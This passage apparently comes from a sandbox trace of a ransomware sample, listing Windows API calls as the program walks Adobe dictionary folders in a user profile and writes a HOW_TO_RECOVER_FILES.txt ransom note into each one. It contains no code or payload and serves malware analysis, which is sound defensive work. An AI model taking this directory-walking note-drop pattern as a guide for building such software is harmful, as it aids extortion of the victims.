lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_CA\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7a [0181.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0181.124] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_CA\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\en_ca\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0181.124] GetFileType (hFile=0x6e0) returned 0x1 [0181.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0181.124] GetFileType (hFile=0x6e0) returned 0x1 [0181.125] WriteFile (in: hFile=0x6e0, lpBuffer=0x36660b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x36660b0*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0181.126] CloseHandle (hObject=0x6e0) returned 1 [0181.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0181.126] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_GB", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_GB", lpFilePart=0x0) returned 0x61 [0181.126] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_GB\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e074d37, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.127] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e074d37, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.127] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e074d37, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0181.127] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0181.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0181.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0181.128] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_GB", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_GB", lpFilePart=0x0) returned 0x61 [0181.128] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_GB\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e074d37, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.128] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e074d37, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.128] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e074d37, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0181.128] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0181.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0181.128] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_GB\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_GB\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7a [0181.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0181.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_GB\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\en_gb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0181.129] GetFileType (hFile=0x6e0) returned 0x1 [0181.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0181.129] GetFileType (hFile=0x6e0) returned 0x1 [0181.130] WriteFile (in: hFile=0x6e0, lpBuffer=0x367b6a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x367b6a8*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0181.131] CloseHandle (hObject=0x6e0) returned 1 [0181.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0181.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_US", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_US", lpFilePart=0x0) returned 0x61 [0181.131] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_US\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e98a62e, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.132] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e98a62e, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.132] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e98a62e, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0181.132] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0181.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0181.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0181.171] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_US", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_US", lpFilePart=0x0) returned 0x61 [0181.171] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_US\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e98a62e, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.172] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e98a62e, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.172] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e98a62e, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0181.172] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0181.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0181.172] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_US\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_US\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7a [0181.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0181.172] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_US\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\en_us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0181.173] GetFileType (hFile=0x820) returned 0x1 [0181.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0181.173] GetFileType (hFile=0x820) returned 0x1 [0181.173] WriteFile (in: hFile=0x820, lpBuffer=0x34a4518*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x34a4518*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0181.174] CloseHandle (hObject=0x820) returned 1 [0181.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0181.174] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\nl_NL", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\nl_NL", lpFilePart=0x0) returned 0x61 [0181.174] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\nl_NL\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.175] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.175] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0181.175] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0181.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0181.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0181.175] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\nl_NL", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\nl_NL", lpFilePart=0x0) returned 0x61 [0181.175] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\nl_NL\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0181.175] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.176] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ee23d84, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ee23d84, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5ee23d84, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0181.176] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0181.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0181.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0181.176] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\nl_NL\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\nl_NL\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7a [0181.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb0d0) returned 1 [0181.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\nl_NL\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\nl_nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0181.177] GetFileType (hFile=0x820) returned 0x1 [0181.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb040) returned 1 [0181.177] GetFileType (hFile=0x820) returned 0x1 [0181.178] WriteFile (in: hFile=0x820, lpBuffer=0x34b5e20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eb198, lpOverlapped=0x0 | out: lpBuffer=0x34b5e20*, lpNumberOfBytesWritten=0x204eb198*=0x5d0, lpOverlapped=0x0) returned 1 [0181.178] CloseHandle (hObject=0x820) returned 1 [0181.179] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0181.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0181.179] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0181.179] GetFileType (hFile=0x820) returned 0x1 [0181.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0181.179] GetFileType (hFile=0x820) returned 0x1 [0181.180] WriteFile (in: hFile=0x820, lpBuffer=0x34b9748*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x34b9748*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0181.181] CloseHandle (hObject=0x820) returned 1 [0181.181] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0181.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0181.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0181.182] GetFileType (hFile=0x820) returned 0x1 [0181.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0181.182] GetFileType (hFile=0x820) returned 0x1 [0181.182] WriteFile (in: hFile=0x820, lpBuffer=0x34bd8a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x34bd8a8*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0181.184] CloseHandle (hObject=0x820) returned 1 [0181.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0181.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0181.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0181.185] GetFileType (hFile=0x820) returned 0x1 [0181.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0181.185] GetFileType (hFile=0x820) returned 0x1 [0181.186] WriteFile (in: hFile=0x820, lpBuffer=0x34c1120*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x34c1120*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0181.187] CloseHandle (hObject=0x820) returned 1 [0181.187] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ed470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3f [0181.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ed990) returned 1 [0181.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0181.188] GetFileType (hFile=0x820) returned 0x1 [0181.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed900) returned 1 [0181.188] GetFileType (hFile=0x820) returned 0x1 [0181.188] WriteFile (in: hFile=0x820, lpBuffer=0x34c4988*, nNumberOfBytesToWrite=0x5d0, 